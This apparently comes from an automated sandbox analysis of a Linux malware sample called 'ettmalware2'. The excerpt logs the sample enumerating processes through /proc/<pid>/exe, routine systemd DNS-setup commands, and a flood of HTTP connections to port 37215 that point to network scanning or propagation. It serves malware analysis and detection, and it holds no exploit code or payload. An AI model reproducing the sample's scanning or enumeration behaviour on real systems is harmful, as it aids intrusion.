Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6779/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6778/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3308/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3429/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6396/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11382/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/10978/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/555/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/556/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3432/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/437/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/438/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3678/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11700/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/8740/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11393/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/10061/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3452/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/8180/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/560/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/561/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/562/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11833/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3601/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11835/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/11837/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1145/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/1024/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3565/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3289/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3443/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/7769/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/9548/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6835/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/3606/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/2516/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/8751/exe	Jump to behavior
Source: /tmp/ettmalware2 (PID: 6812)	File opened: /proc/6575/exe	Jump to behavior

Source: /lib/systemd/systemd (PID: 6846)	Shell command executed: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* \| sort -u); [ -z \"$out\" ] \|\| break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } \| /sbin/resolvconf -a networkd"	Jump to behavior
Source: /lib/systemd/systemd (PID: 7769)	Shell command executed: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* \| sort -u); [ -z \"$out\" ] \|\| break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } \| /sbin/resolvconf -a networkd"	Jump to behavior
Source: /lib/systemd/systemd (PID: 8751)	Shell command executed: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* \| sort -u); [ -z \"$out\" ] \|\| break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } \| /sbin/resolvconf -a networkd"	Jump to behavior
Source: /lib/systemd/systemd (PID: 9732)	Shell command executed: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* \| sort -u); [ -z \"$out\" ] \|\| break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } \| /sbin/resolvconf -a networkd"	Jump to behavior
Source: /lib/systemd/systemd (PID: 10711)	Shell command executed: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* \| sort -u); [ -z \"$out\" ] \|\| break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } \| /sbin/resolvconf -a networkd"	Jump to behavior
Source: /lib/systemd/systemd (PID: 11393)	Shell command executed: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* \| sort -u); [ -z \"$out\" ] \|\| break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } \| /sbin/resolvconf -a networkd"

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 53850
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
